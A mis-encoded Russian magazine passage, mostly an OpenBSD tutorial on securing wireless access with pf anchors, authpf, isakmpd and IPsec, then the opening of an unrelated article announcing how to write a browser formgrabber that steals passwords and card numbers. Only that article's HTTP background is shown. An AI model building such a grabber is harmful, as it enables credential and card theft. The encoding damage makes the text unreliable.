îïöèé óñëîæíÿåì ïðîâåäåíèå àòàê òèïà ARP-
è IP-spoofing */
ClientAliveInterval 15
ClientAliveCountMax 3
/* Âêëþ÷åíèå UseDNS ñîçäàåò áîëüøå ïðîá-
ëåì, ÷åì ðåøàåò */
UseDNS no
/* Îïðåäåëÿåì ñïèñêè êîíòðîëÿ äîñòóïîì */
AllowGroups wheel wsrc users authpf

Ïîñëå âíåñåíèÿ èçìåíåíèé äàåì óêàçàíèå äå-
ìîíó ïåðå÷èòàòü êîíôèã:

# kill -HUP `sed q /var/run/sshd.pid`

[pf: øâàðòîâêà â îêåàíå ñûùèêîâ 
õîòñïîòîâ] Ìû äàâíî óæå ïðèâûêëè ê òîìó,
÷òî ôàéðâîë ðàáîòàåò ñî ñòàòè÷åñêèì íàáîðîì
ïðàâèë. È äåéñòâèòåëüíî, äëÿ áîëüøèíñòâà çà-
äà÷ ýòîãî âïîëíå äîñòàòî÷íî. Íî êîãäà â ñåòè
ïîÿâëÿþòñÿ êî÷óþùèå ïîëüçîâàòåëè è/èëè
áåñïðîâîäíûå êëèåíòû, òàêàÿ ñõåìà ðàáîòû ðó-
øèòñÿ, êàê êàðòî÷íûé äîìèê. Îäíà èç çàìå÷à-
òåëüíûõ âîçìîæíîñòåé pf(4) çàêëþ÷àåòñÿ â òîì,
÷òî ìîæíî ïîäêëþ÷àòü ðóëåñåòû ê îñíîâíîìó
êîíôèãó pf.conf(5) «íà ëåòó». Îòâå÷àþò çà ýòó
ôè÷ó òàê íàçûâàåìûå àí÷îðû (ÿêîðÿ), ðàáîòó
êîòîðûõ ïðîèëëþñòðèðóåì â áîåâûõ óñëîâèÿõ:

# vi /etc/pf.conf

/* Îáúÿâëÿåì ìàêðîñû */

enc_if = "enc0"
int_if = "ral0"

/* Ïîäêëþ÷àåì ïðàâèëà äëÿ òðàíñëÿöèè ñåòå-
âûõ àäðåñîâ */
nat-anchor "authpf/*"

/* Ïîäêëþ÷àåì ïðàâèëà äëÿ êîððåêòíîé ðà-
áîòû ftp- è p2p-êëèåíòîâ */
rdr-anchor "authpf/*"

/* Ðàçðåøàåì è ðåãèñòðèðóåì äîñòóï ê sshd
(22/tcp), isakmpd (500/udp) */
pass in log quick on $int_if inet proto tcp from
$int_if:network \

to $int_if port ssh keep state
pass in log quick on $int_if inet proto udp from
$int_if:network \

to $int_if port isakmp keep state

/* Ðàçðåøàåì ïðîõîæäåíèå çàøèôðîâàííîãî
òðàôèêà */
pass in quick on $int_if inet proto esp from
$int_if:network to $int_if
pass in quick on $enc_if inet proto ipencap from
$int_if:network to $int_if
pass in quick on $enc_if inet from $int_if:net-
work to $int_if keep state

/* Ðàçðåøàåì ïðîõîæäåíèå èñõîäÿùåãî òðà-
ôèêà */
pass out quick on $int_if inet from any to
$int_if:network keep state

/* Ïîäêëþ÷àåì ïåðñîíàëüíûå ïðàâèëà ïîëü-
çîâàòåëåé */
anchor "authpf/*"

[authpf: èñïîëíåíèå æåëàíèé] Íå ñåêðåò,
÷òî ïðîòîêîë øèôðîâàíèÿ WEP âûïîëíÿë àóòåí-
òèôèêàöèþ óñòðîéñòâà, à íå ïîëüçîâàòåëÿ. Ýòîò
íåäîñòàòîê áûë ïðèíÿò âî âíèìàíèå ïðè ðàçðà-
áîòêå authpf(8) � îñîáîé ïñåâäîîáîëî÷êè, êîòî-
ðàÿ â äèíàìè÷åñêîì ðåæèìå èçìåíÿåò ïðàâèëà
ôàéðâîëà äëÿ àóòåíòèôèöèðîâàííîãî ïîëüçîâà-
òåëÿ. Äðóãèìè ñëîâàìè, ïîñëå ââîäà ïàðîëÿ âõî-
äà â ñèñòåìó íå ïðîèñõîäèò, âìåñòî ýòîãî â ñèëó
âñòóïàþò ïåðñîíàëüíûå ðóëåñåòû. Íàñòðîéêà
authpf ïðåäñòàâëÿåò ñîáîé íåòðèâèàëüíóþ çàäà-
÷ó, ïîýòîìó îñòàíîâëþñü íà íåé ïîäðîáíåå.
Ñíà÷àëà ðàñøèðÿåì ñïèñîê äîñòóïíûõ êîìàíä-
íûõ èíòåðïðåòàòîðîâ:

# echo "/usr/sbin/authpf" >> /etc/shells

Â êîíåö ôàéëà login.conf(5) çàíîñèì ñâåäåíèÿ î
íîâîì êëàññå wifi, ïîëüçîâàòåëè êîòîðîãî â êà÷å-
ñòâå ñòàíäàðòíîãî øåëëà áóäóò ïîëó÷àòü authpf.

# vi /etc/login.conf

wifi:\
:shell=/usr/sbin/authpf:\
:tc=default:

Îáíîâëÿåì õýøèðîâàííóþ áàçó äàííûõ
/etc/login.conf.db:

# cap_mkdb /etc/login.conf

Íåò íåîáõîäèìîñòè èçìåíÿòü äåôîëòíûå çíà-
÷åíèÿ àí÷îðà (anchor="authpf") è òàáëèöû ðà-
äèêñà (table="authpf_users"), ïîýòîìó /etc/auth-
pf/authpf.conf îñòàâëÿåì ïóñòûì:

# touch /etc/authpf/authpf.conf

Ïîäãîòàâëèâàåì ïðèâåòñòâåííîå ñîîáùåíèå,
àíàëîã /etc/motd:

# echo "Please play nice." > /etc/authpf/auth-
pf.message

Ñîçäàåì ôàéë ñ ïðàâèëàìè ôàéðâîëà, êîòîðûå
áóäóò çàãðóæàòüñÿ ïðè óñïåøíîé àóòåíòèôèêàöèè
áåñïðîâîäíîãî êëèåíòà è âûãðóæàòüñÿ ïðè ïîëó÷å-
íèè ñèãíàëà SIGINT (êîìáèíàöèÿ êëàâèø <Ctrl-C>):

# vi /etc/authpf/authpf.rules

/* Èñïîëüçóåìûå ìàêðîñû */
ext_if = "fxp1"
int_if = "ral0"

/* Âûïóñêàåì àóòåíòèôèöèðîâàííûõ ïîëüçîâà-
òåëåé â Ñåòü */
nat on $ext_if inet from $user_ip to any tag
$user_ip -> ($ext_if)

/* Îáåñïå÷èâàåì êîððåêòíóþ ðàáîòó ïî ïðî-
òîêîëó FTP */
rdr on $int_if inet proto tcp from $user_ip to any
port 21 \

-> 127.0.0.1 port 8021

/* Ëîãè÷åñêîå çàâåðøåíèå ïåðâîãî ïðàâèëà
� ðàçðåøàåì ïðîõîæäåíèå ïàêåòîâ */
pass in quick on $int_if inet from $user_ip to any
pass out log quick on $ext_if inet tagged
$user_ip keep state

Ïðèìå÷àíèå: ïðè èñïîëüçîâàíèè çàðåçåðâèðî-
âàííûõ ìàêðîñîâ $user_id è $user_ip áóäåò ïðî-
èñõîäèòü àâòîìàòè÷åñêàÿ ïîäñòàíîâêà èìåíè è
IP-àäðåñà ïîäêëþ÷èâøåãîñÿ ïîëüçîâàòåëÿ.
Â êàòàëîãå /etc/authpf/users/$USER ìîæíî ïîäãî-
òîâèòü îñîáûé íàáîð ïåðñîíàëüíûõ ïðàâèë äëÿ
(íå)ïðèâèëåãèðîâàííûõ ïîëüçîâàòåëåé. Ýòî äà-
åò íàì áåñêðàéíèé ïðîñòîð äëÿ ïîëåòà ôàíòà-
çèè: îðãàíèçàöèÿ îãðàíè÷åííîãî/ïîëíîãî äîñòó-
ïà â Èíòåðíåò, äåìèëèòàðèçîâàííóþ çîíó è/èëè
çàêðûòûå ñåãìåíòû ñåòè, ôîðâàðäèíã âõîäÿùå-
ãî/èñõîäÿùåãî TCP/UDP òðàôèêà è ò.ä.).
Íàïðèìåð, â êà÷åñòâå áîíóñà ïðåäîñòàâèì ïîëü-
çîâàòåëþ shocker âîçìîæíîñòü ïîëó÷àòü High ID
íà ëþáîì eD2k-ñåðâåðå. Äëÿ ýòîãî íåîáõîäèìî
ñäåëàòü ôàéë /etc/authpf/users/shocker/authpf.rules
èäåíòè÷íûì /etc/authpf/authpf.rules, à çàòåì äîáà-
âèòü â íåãî íåñêîëüêî ìàãè÷åñêèõ ïðàâèë ïåðå-
íàïðàâëåíèÿ.

# mkdir -p /etc/authpf/users/shocker
# cp /etc/authpf/authpf.rules
/etc/authpf/users/shocker/authpf.rules

# vi /etc/authpf/users/shocker/authpf.rules [X
À
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[snip]
rdr pass on $ext_if inet proto tcp from any to
any port 4661 -> $user_ip
rdr pass on $ext_if inet proto tcp from any to
any port 4662 -> $user_ip
rdr pass on $ext_if inet proto udp from any to
any port 4665 -> $user_ip
rdr pass on $ext_if inet proto udp from any to
any port 4672 -> $user_ip
[snip]

[isakmpd: âåðíèñàæ IPSec-òóííåëåé]
Êàê ìû ïîìíèì, ãëàâíûå èçúÿíû WEP áûëè îá-
íàðóæåíû â ïðîöåäóðàõ àóòåíòèôèêàöèè è
øèôðîâàíèÿ. Êðîìå òîãî, îêàçàëîñü, ÷òî ýòîò
ìåõàíèçì äîñòàòî÷åí òîëüêî äëÿ ìàëûõ ñåòåé ñ
óìåðåííûì òðàôèêîì. Ñëåäîâàòåëüíî, äàæå
åñëè áû îí ñòàë åäèíñòâåííûì ñòàíäàðòîì äå-
ôàêòî, êîòîðûé ïðåäîñòàâëÿåò ãàðàíòèè áåçî-
ïàñíîñòè áåñïðîâîäíûõ ñåòåé, åãî íåëüçÿ áûëî
áû ïðèìåíÿòü äëÿ êîðïîðàòèâíûõ ðåøåíèé.
Isakmpd(8) îáåñïå÷èâàåò ðàáîòó ïî ïðîòîêîëó
îáìåíà ñåêðåòíûìè êëþ÷àìè (ISAKMP), ñïðàâ-
ëÿåòñÿ ñ ëþáûìè íàãðóçêàìè áåç ñíèæåíèÿ
ïðîèçâîäèòåëüíîñòè, à òàêæå ïîçâîëÿåò ñîçäà-
âàòü íåâåðîÿòíîå êîëè÷åñòâî IPSec-òóííåëåé,
èñïîëüçóÿ ïðè ýòîì ðàçëè÷íûå àëãîðèòìû
øèôðîâàíèÿ (íàïðèìåð, 3des, idea, cast, blow-
fish, aes äëÿ àòðèáóòà esp_enc_alg ïðîòîêîëà
ESP) è ìåòîäû àóòåíòèôèêàöèè: íà îñíîâå ïà-
ðîëüíîé ôðàçû (ìû áóäåì ðàññìàòðèâàòü
èìåííî ýòîò ìåòîä, â ñëó÷àå âíóøèòåëüíîãî
÷èñëà wlan-êëèåíòîâ ñâîé âûáîð ëó÷øå îñòàíî-
âèòü íà X.509 auth), ñåðâåðíûõ êëþ÷åé, Keynote
è X.509 ñåðòèôèêàòîâ. Äåìîí ïðîñòî ïîòðÿñàåò
ñâîèìè âîçìîæíîñòÿìè, òàê ÷òî áóäåò íå ïðîñ-
òî íàéòè òàêóþ çàäà÷ó ïîñòðîåíèÿ VPN, ñ êîòî-
ðîé îí íå ìîã áû ñïðàâèòüñÿ.
Äëÿ óäîáñòâà ãëàâíûé êîíôèãóðàöèîííûé
ôàéë ñåðâåðà îáìåíà êëþ÷åé ðàçáèò íà ñåêöèè
è ñîäåðæèò äèðåêòèâû ñ ïðèñâîåííûìè çíà÷å-
íèÿìè. Äàëåå ïðîêîììåíòèðóþ êëþ÷åâûå ìî-
ìåíòû isakmpd.conf(5):

# vi /etc/isakmpd/isakmpd.conf

/* Ñåêöèÿ îáùåãî íàçíà÷åíèÿ: êîëè÷åñòâî
ïîâòîðîâ, ïðîäîëæèòåëüíîñòü òàéìàóòîâ, IP-
àäðåñ ïðîñëóøèâàåìîãî èíòåðôåéñà */
[General]
Retransmits = 5
Exchange-max-time = 120
Listen-on = 192.168.2.1

/* Ïåðå÷èñëÿåì ôàçû ñîåäèíåíèé */
[Phase 1]
Default = local-peers

[Phase 2]
Passive-connections = authen-
ticated-peers

/* Ïîäòâåðæäàåì îòñóòñòâèå
ïñåâäîíèìîâ è çàäàåì ïà-
ðîëüíóþ ôðàçó */
[local-peers]
Phase = 1
Local-address = 192.168.2.1
Authentication = mypassword
Configuration = isakmp-main-
mode

/* Ñîçäàåì ñïèñîê IPSec-ñîå-
äèíåíèé */
[authenticated-peers]
Phase = 2

ISAKMP-peer = local-peers
Local-ID = local-network
Remote-ID = remote-network
Configuration = isakmp-quick-mode

/* Çàäàåì ìàðøðóòû äëÿ èíêàïñóëèðîâàííûõ
ñîåäèíåíèé */
[local-network]
ID-type = IPV4_ADDR_SUBNET
Network = 192.168.2.0
Netmask = 255.255.255.0

[remote-network]
ID-type = IPV4_ADDR_SUBNET
Network = 192.168.2.0
Netmask = 255.255.255.0

/* Â ãëàâíîì ðåæèìå óêàçûâàåì ïðåäñòàâëå-
íèå ïîòîêîâ, ñïåöèàëüíûé òèï îáìåíà ïàêå-
òàìè, è ñ ïîìîùüþ ÷åãî áóäåì êðèïòîâàòü
äàííûå */
[isakmp-main-mode]
DOI = IPSEC
EXCHANGE_TYPE = ID_PROT
Transforms = 3DES-SHA

/* Â áûñòðîì ðåæèìå óêàçûâàåì ïðîòîêîë,
øèôð è óñòîé÷èâóþ ê êîëëèçèÿì õýø-ôóíê-
öèþ */
[isakmp-quick-mode]
DOI = IPSEC
EXCHANGE_TYPE = QUICK_MODE
Suites = QM-ESP-3DES-SHA-PFS-SUITE

Òåïåðü íåîáõîäèìî ñîçäàòü isakmpd.policy(5), ñî-
äåðæàùèé ïîëèòèêó äëÿ âñåõ IPSec-ñîåäèíåíèé:

# vi /etc/isakmpd/isakmpd.policy

KeyNote-Version: 2
Authorizer: "POLICY"
Conditions: app_domain == "IPsec policy" &&

esp_present == "yes" &&
esp_enc_alg == "3des" -> "true";

Âûñòàâëÿåì êîððåêòíûå ïðàâà 
äîñòóïà äëÿ êîíôèãîâ:

# chown root:wheel
/etc/isakmpd/isakmpd.*
# chmod 600 /etc/isakmpd/isakmpd.*

È çàïóñêàåì äåìîíà íà îðáèòó,
ïðåäâàðèòåëüíî îòêàçàâøèñü îò
èñïîëüçîâàíèÿ ïðîòîêîëà IPv6 
è ðåàëèçàöèè NAT-Traversal:

# isakmpd -4T

[ðàòíûå ïîäâèãè âèíäóçÿòíèêîâ] Êëèåí-
òñêàÿ íàñòðîéêà IPSec â WinXP î÷åíü íàïîìè-
íàåò ïðîõîæäåíèå Sierra'âñêîãî êâåñòà:

1 Start ! Run çàïóñêàåì mmc
2 File ! Add/Remove Snap-in ! IP Security
Policy Management ! Local Computer ! Finish
! Close
3 Action ! Create IP Security Policy ! Next !
Next ! ñíèìàåì ãàëêó ñ Activate the default
responce rule ! Edit properties îñòàâëÿåì íåòðî-
íóòûì ! Next ! Finish
4 New IP Security Policy ! Properties ! Add !
Next ! Tunnel Endpoint � This rule does not spec-
ify a tunnel ! Network Type � Local Area Network
(LAN) ! Authentication Method � Use this string to
protect the key exchange (preshared key) � óêàçû-
âàåì mypassword èç /etc/isakmpd/isakmpd.conf !
IP Filter List !Add ! Add ! Next ! Source
Address � My IP Address -> Destination Address
� A Specific IP Address � 192.168.2.1 ! Select a
protocol type � Any, 0 ! óñòàíàâëèâàåì ãàëêó
Edit properties ! Finish ! ïðîâåðÿåì ââåäåííûå
íàñòðîéêè ! OK
5 New IP Filter List ! Next ! Filter Action �
Require Security ! Edit ! óñòàíàâëèâàåì
Negotiate security ! îòìå÷àåì Session key per-
fect forward secrecy (PFS) ! OK ! Next ! Finish
! Apply ! OK
6 Console1 ! File ! Save
7 Ïåðåçàãðóæàåìñÿ, ëèáî ïåðåçàïóñêàåì ñåð-
âèñ IPSEC Services
8 Start ! Run ! mmc ! File ! Console1 ! New
IP Security Policy ! Assign

Â êà÷åñòâå àëüòåðíàòèâû ìîæíî âîñïîëüçîâàòü-
ñÿ ñëåäóþùèìè ïðîãðàììàìè: ipsecpol.exe/ipsec-
cmd.exe (èç êîìïëåêòà Win2k/WinXP Support
Tools), SSH Sentinel, TheGreenBow VPN Client, ëè-
áî SafeNet SoftRemoteLT.

[ïîëèãîí äëÿ èñïûòàíèé] Âñÿ íåîáõîäèìàÿ
íàñòðîéêà âûïîëíåíà, îñòàåòñÿ ëèøü ïðîâå-
ðèòü íàøó êîíñòðóêöèþ â äåéñòâèè. Äîáàâëÿåì
â ñèñòåìó íîâîãî ïîëüçîâàòåëÿ, êîòîðûé ïðè-
íàäëåæèò êëàññó Wi-Fi, âõîäèò â ãðóïïó authpf 
è â êà÷åñòâå îáîëî÷êè ïîëó÷àåò /usr/sbin/authpf:

# useradd -m -c 'wifi client' -g authpf -L wifi -s
/usr/sbin/authpf shocker

Çà íåãî ãåíåðèðóåì RSA-êëþ÷ äëèíîé 2048 áèò:

# sudo -u shocker ssh-keygen -t rsa

Ðàçðåøàåì ïîëüçîâàòåëþ ïðîâîäèòü àóòåíòè-
ôèêàöèþ íà îñíîâå ïóáëè÷íîãî êëþ÷à:

# cp /home/shocker/.ssh/id_rsa.pub
/home/shocker/.ssh/authorized_keys
# chown shocker:authpf
/home/shocker/.ssh/authorized_keys

Íà ñòîðîíå êëèåíòà îòêðûâàåì Putty/SecureCRT,
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ñîçäàåì íîâóþ ñåññèþ, óêàçûâàåì IP-àäðåñ øëþ-
çà, èìÿ ïîëüçîâàòåëÿ è ðàñïîëîæåíèå ïóáëè÷íîãî
êëþ÷à. Åñëè âñå êîððåêòíî íàñòðîåíî, ïîñëå óñ-
ïåøíîé àâòîðèçàöèè ïðàâèëà ôàéðâîëà íà ñåðâå-
ðå èçìåíÿòñÿ, è þçåð ïîëó÷èò äîñòóï â Èíòåðíåò.
Òàê êàê óòèëèòû w è who íå ïðåäîñòàâëÿþò çíà-
÷åíèå PID, ñïèñîê ïîäêëþ÷åííûõ â òåêóùèé ìî-
ìåíò ïîëüçîâàòåëåé ìîæíî ïîñìîòðåòü ñ ïî-
ìîùüþ ps, ëèáî pfctl (çäåñü authpf � íàçâàíèå
àí÷îðà, shocker � èìÿ ïîëüçîâàòåëÿ, 3884 �
óíèêàëüíûé èäåíòèôèêàòîð ïðîöåññà):

% ps ax | grep authpf
3884 p1  Is+     0:00.01 -authpf: shock-
er@192.168.2.2 (authpf)

# pfctl -a authpf -sA
authpf/shocker(3884)

Ïîñìîòðåòü ðóëåñåòû äëÿ êîíêðåòíîãî ïîëüçî-
âàòåëÿ ìîæíî òàê:

# pfctl -a "authpf/shocker(3884)" -s rules
pass in quick on ral0 inet from 192.168.2.2 to any
pass out log quick on fxp1 inet all keep state
tagged 192.168.2.2

È ïî àíàëîãèè äëÿ òàáëèöû NAT è ïðàâèë ïåðå-
íàïðàâëåíèÿ:

# pfctl -a "authpf/shocker(3884)" -s nat
nat on fxp1 inet from 192.168.2.2 to any tag
192.168.2.2 -> (fxp1) round-robin
rdr pass on fxp1 inet proto tcp from any to any
port = 4661 -> 192.168.2.2
rdr pass on fxp1 inet proto tcp from any to any
port = 4662 -> 192.168.2.2
rdr pass on fxp1 inet proto udp from any to any
port = 4665 -> 192.168.2.2
rdr pass on fxp1 inet proto udp from any to any
port = 4672 -> 192.168.2.2
rdr on ral0 inet proto tcp from 192.168.2.2 to
any port = ftp -> 127.0.0.1 port 8021

[ipsecadm: íàïðàâü êðèïòîïîòîêè 
â íóæíîå ðóñëî] Êàê âàðèàíò, ìîæíî îòêà-
çàòüñÿ îò èñïîëüçîâàíèÿ isakmpd è ïîñìîòðåòü
â ñòîðîíó ipsecadm(8) � ïðîãðàììû óïðàâëå-
íèÿ çàùèùåííûìè ñîåäèíåíèÿìè. ×òîáû ïðî-
âåðèòü åå ðàáîòó â äåéñòâèè, ðàññìîòðèì ñöå-
íàðèé, êîãäà è íà ñåðâåðå (TECHLAB), è íà êëèåí-
òå (HOME) óñòàíîâëåíà OpenBSD.

[ HOME ]-(fxp1)-------[ ISP ]-------(fxp0)-
[ TECHLAB ]

Ïîñëåäîâàòåëüíî ñîçäàåì äâà êëþ÷à � îäèí
äëÿ øèôðîâàíèÿ òðàôèêà (3DES, 192 bit), äðó-
ãîé äëÿ àóòåíòèôèêàöèè (SHA1, 160 bit):

# mkdir -m 700 /etc/ipsec

# openssl rand 24 | hexdump -e '24/1 "%02x"' >
/etc/ipsec/esp-enc-key
# openssl rand 20 | hexdump -e '20/1 "%02x"' >
/etc/ipsec/esp-auth-key
# chmod 600 /etc/ipsec/esp-*-key

Äàëåå, ÷òîáû íå èçîáðåòàòü ñåáå ëèøíèå ñëîæ-
íîñòè, ìîæíî âîñïîëüçîâàòüñÿ øàáëîíîì èç
êàòàëîãà /usr/share/ipsec:

# cp /usr/share/ipsec/rc.vpn /etc/ipsec/rc.vpn

# vi /etc/ipsec/rc.vpn

/* Â îòëàäî÷íîì ðåæèìå êîìàíäû âûâîäÿòñÿ
íà ýêðàí áåç èñïîëíåíèÿ, êîììåíòèðóåì */
#DEBUG=echo

/* IP-àäðåñà ëîêàëüíîãî è óäàëåííîãî êîìïü-
þòåðîâ */
GW_LOCAL=81.211.1.1
GW_REMOTE=85.140.2.2

/* Íå óêàçûâàåì CIDR-íîòàöèè âíóòðåííèõ
ïîäñåòåé */
LOCAL_NETWORKS=""
REMOTE_NETWORKS=""

/* Âûáðàííûå ìåòîäû øèôðîâàíèÿ è àóòåí-
òèôèêàöèè */
ENC=3des
AUTH=sha1

/* Ñïåöèàëüíûå èíäåêñû äëÿ ñîçäàíèÿ òóííå-
ëÿ */
SPI_OUT=1000
SPI_IN=1001

/* Óêàçûâàåì àáñîëþòíûå ïóòè ê ôàéëàì ñ
êëþ÷àìè */
KEYFILE=/etc/ipsec/esp-enc-key
AUTHKEYFILE=/etc/ipsec/esp-auth-key

Íà ñòîðîíå êëèåíòà ñêðèïò áóäåò âûãëÿäåòü ñ
ìèíèìàëüíûìè ïðàâêàìè:

# vi /etc/ipsec/rc.vpn

[snip]
GW_LOCAL=85.140.2.2
GW_REMOTE=81.211.1.1
[snip]
SPI_OUT=1001
SPI_IN=1000
[snip]

Ïîñëå òîãî, êàê ñ ïîìîùüþ ïðîãðàììû áåçîïàñ-
íîãî êîïèðîâàíèÿ scp(8) êëþ÷è (/etc/ipsec/esp-
{auth,enc}-key) áóäóò ïåðåäàíû êëèåíòó, îñòàíåò-
ñÿ òîëüêî çàïóñòèòü rc.vpn íà êàæäîì èç õîñòîâ:

server# sh /etc/ipsec/rc.vpn
client# sh /etc/ipsec/rc.vpn

È ïðè íåîáõîäèìîñòè äîáàâèòü åãî çàïóñê 
â îäèí èç ñòàðòîâûõ ôàéëîâ. Íàïðèìåð, òàê:

# vi /etc/rc.local
[ -f /etc/ipsec/rc.vpn ] && sh /etc/ipsec/rc.vpn

[ïîëåçíûå ìåëî÷è] ×òîáû çàïðîñèòü ó ÿäðà
ÎÑ ïåðå÷åíü äåéñòâóþùèõ IPSec-òóííåëåé è
àêòèâíûõ çàïèñåé â áàçå SADB, ìîæíî âîñ-
ïîëüçîâàòüñÿ øòàòíîé óòèëèòîé ipsecctl(8):

# ipsecctl -s all
FLOWS:
flow esp in from 192.168.2.2 to 192.168.2.1
peer 192.168.2.2
flow esp out from 192.168.2.1 to 192.168.2.2
peer 192.168.2.2
SADB:
esp from 192.168.2.1 to 192.168.2.2 spi
0x443382b3 3des-cbc hmac-sha1
esp from 192.168.2.2 to 192.168.2.1 spi
0xe6917ee7 3des-cbc hmac-sha1

Ïîëó÷èòü òàáëèöó ìàðøðóòèçàöèè äëÿ èíêàïñóëè-
ðîâàííûõ ñîåäèíåíèé ìîæíî ñ ïîìîùüþ netstat(1):

% netstat -nr -f encap
Routing tables

Encap:
Source Port  Destination Port Proto
SA(Address/Proto/Type/Direction)
192.168.2.2/32 0 192.168.2.1/32
0 0 192.168.2.2/50/use/in
192.168.2.1/32 0 192.168.2.2/32
0 0 192.168.2.2/50/require/out

Äëÿ óäàëåíèÿ âñåõ IPSec-ïîòîêîâ:

# ipsecadm flush

Ïñåâäîóñòðîéñòâî enc(4) ïðåäñòàâëÿåò ñîáîé
ñïåöèàëüíûé èíòåðôåéñ îáðàòíîé ïåòëè, ïîçâî-
ëÿþùèé ïðîèçâîäèòü ôèëüòðàöèþ IPSec-òðàôè-
êà è ïðîñìàòðèâàòü ïðîõîæäåíèå âõîäÿùèõ/èñõî-
äÿùèõ ïàêåòîâ (îòíîñèòñÿ òîëüêî ê òðàíñïîðòíî-
ìó ðåæèìó) ïåðåä òåì, êàê îíè ïîïàäóò âî âëàñòü
ESP- è AH-ïðîòîêîëîâ. Êîíå÷íî æå, äëÿ âûïîëíå-
íèÿ ýòîé îïåðàöèè íåîáõîäèìî îáëàäàòü ïðàâà-
ìè ñóïåðïîëüçîâàòåëÿ (íåñîîòâåòñòâèå êîíòðîëü-
íûõ ñóìì íå äîëæíî òåáÿ çäåñü ñìóùàòü, ìû æå
âåäåì ïðîñëóøèâàíèå íà ïñåâäîèíòåðôåéñå):

# tcpdump -n -e -ttt -vv -i enc0 port 445
tcpdump: WARNING: enc0: no IPv4 address
assigned
tcpdump: listening on enc0, link-type ENC
Aug 13 18:55:31.373180 (authentic,confiden-
tial): SPI 0x0bf80add: 192.168.2.2.1066 >
192.168.2.1.445: P
1804009685:1804009748(63) ack 2812031580
win 17520 (DF) (ttl 128, id 33135, len 103)
Aug 13 18:55:31.373589 (authentic,confiden-
tial): SPI 0xcd270528: 192.168.2.1.445 >
192.168.2.2.1066: . 1:1425(1424) ack 63 win
17088 (ttl 64, id 46806, len 1464, bad cksum
14! differs by 3902)

Ïðèâåäåííàÿ ñõåìà ðàáîòû â ñî÷åòàíèè ñ êîð-
ðåêòíî íàñòðîåííûì dhcp-ñåðâåðîì è ïîëóï-
ðîçðà÷íûì ìîñòîì, âûïîëíÿþùèì ôèëüòðà-
öèþ íà îñíîâå MAC-àäðåñà êëèåíòà (ñì.
ñòàòüþ «Ôàéðâîë-íåâèäèìêà»), ñîñëóæèò òåáå
õîðîøóþ ñëóæáó. Óäà÷è [X
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×òî òàêîå ââîäèìàÿ â áðàóçåðå ôîðìà? 
Â êàêîì âèäå îíà îòïðàâëÿåòñÿ ïî ñåòè? Êàêèå
ôóíêöèè ïðè ýòîì âûçûâàþòñÿ? Ïðåæäå ÷åì
ïèñàòü ôîðìãðàááåð, ìû äîëæíû îòâåòèòü íà
âñå ýòè âîïðîñû. 
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×ÒÎ ÒÀÊÎÅ ÔÎÐÌÃÐÀÁÁÅÐ? ÝÒÎ ÏÐÎÃÐÀÌÌÀ,
ÊÎÒÎÐÀß ÏÅÐÅÕÂÀÒÛÂÀÅÒ È ÑÎÕÐÀÍßÅÒ ÄÀÍ-
ÍÛÅ, ÂÂÎÄÈÌÛÅ Â ÔÎÐÌÀÕ Â ÁÐÀÓÇÅÐÅ. ÈÑ-
ÏÎËÜÇÓÞÒÑß ÒÀÊÈÅ ÏÐÎÃÐÀÌÌÛ Â ÎÑÍÎÂ-
ÍÎÌ ÄËß ÏÅÐÅÕÂÀÒÀ ÏÀÐÎËÅÉ/ÍÎÌÅÐÎÂ ÊÐÅ-
ÄÈÒÍÛÕ ÊÀÐÒ (ÈËÈ ËÞÁÛÕ ÄÐÓÃÈÕ ÄÀÍÍÛÕ),
ÂÂÎÄÈÌÛÕ ÍÀ ÑÀÉÒÀÕ. ÊÎÍÅ×ÍÎ, ÄËß ÝÒÎÉ
ÖÅËÈ ÌÎÆÍÎ ÈÑÏÎËÜÇÎÂÀÒÜ ÊÅÉËÎÃÅÐ,
ÍÎ ÐÀÇÁÈÐÀÒÜ ÅÃÎ ÊÈËÎÌÅÒÐÎÂÛÅ ËÎÃÈ  ÍÅ-
ÓÄÎÁÍÎ, ÏÎÝÒÎÌÓ ÍÓÆÍÀ ÓÇÊÎÑÏÅÖÈÀËÈ-
ÇÈÐÎÂÀÍÍÀß ÑÈÑÒÅÌÀ ÄËß ÏÅÐÅÕÂÀÒÀ ÈÑÊ-
ËÞ×ÈÒÅËÜÍÎ ÔÎÐÌ. ÊÀÊ ÒÀÊÓÞ ØÒÓÊÓ ÍÀ-
ÏÈÑÀÒÜ ÒÛ ÌÎÆÅØÜ ÓÇÍÀÒÜ 
Â ÝÒÎÉ ÑÒÀÒÜÅ | Ms-Rem (Ms-Rem@yandex.ru)
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Ïèøåì ïðîñòîé
ôîðìãðàááåð

Îáìåí äàííûìè ìåæäó áðàóçåðîì è âåá-ñåðâåðîì ïðîèñõîäèò ïî ïðîòîêî-
ëó HTTP. HTTP çàïðîñ â îáùåì âèäå ñîñòîèò èç ìåòîäà çàïðîñà, åãî çàãî-
ëîâêîâ è òåëà çàïðîñà. Íàïðèìåð, ïðîñòåéøèé çàïðîñ íà ïîëó÷åíèå ñòðà-
íè÷êè ìîæåò âûãëÿäåòü òàê:

GET /index.htm HTTP/1.1
Host: www.nifiga.net
Connection: close

Â äàííîì ñëó÷àå ìåòîäîì çàïðîñà ÿâëÿåòñÿ GET, ïîñëå êîòîðîãî èäåò êðàò-
êèé URL çàïðîñà è ïðîòîêîë (HTTP 1.1). URL ìîæåò áûòü ïðåäñòàâëåí êàê
â êðàòêîì (/index.htm), òàê è â ïîëíîì (www.nifiga.net/index.htm) âèäå. Âñå,
÷òî íèæå, ÿâëÿåòñÿ çàãîëîâêàìè çàïðîñà. Íàïðèìåð, çàãîëîâîê Host ñîäåð-
æèò àäðåñ ñåðâåðà, ê êîòîðîìó áóäåò íàïðàâëåí çàïðîñ. Èìÿ è ïàðàìåòðû
çàãîëîâêà çàïðîñà âñåãäà ðàçäåëåíû äâîåòî÷èåì. Çàãîëîâîê çàïðîñà îòäå-
ëåí îò òåëà çàïðîñà äâóìÿ ïåðåâîäàìè ñòðîêè (0D0A). 
Ðàññìîòðèì òåïåðü ïåðåäà÷ó ïî ñåòè äàííûõ, ââåäåííûõ â ôîðìó. Â ýòîì
ñëó÷àå çàïðîñ áóäåò ïîäîáåí ýòîìó:

POST http://192.168.0.58/dragon/?.goods.save_goods HTTP/1.1
Referer: http://192.168.0.58/dragon/?.goods.form_edit_goods&catego-
ry_id=121
Content-Type: multipart/form-data; boundary=---------------------------
7d534bae9d6
Connection: Close
Host: 192.168.0.58
Content-Length: 1024
Cookie: dragon_cookie_index=yes; dragon_cookie_goods=yes
Authorization: Basic Z29sZDp4YXZhRkQz
-----------------------------7d534bae09d6
Content-Disposition: form-data; name="goods[goodsId]"'
Data
-----------------------------7d534bae09d6
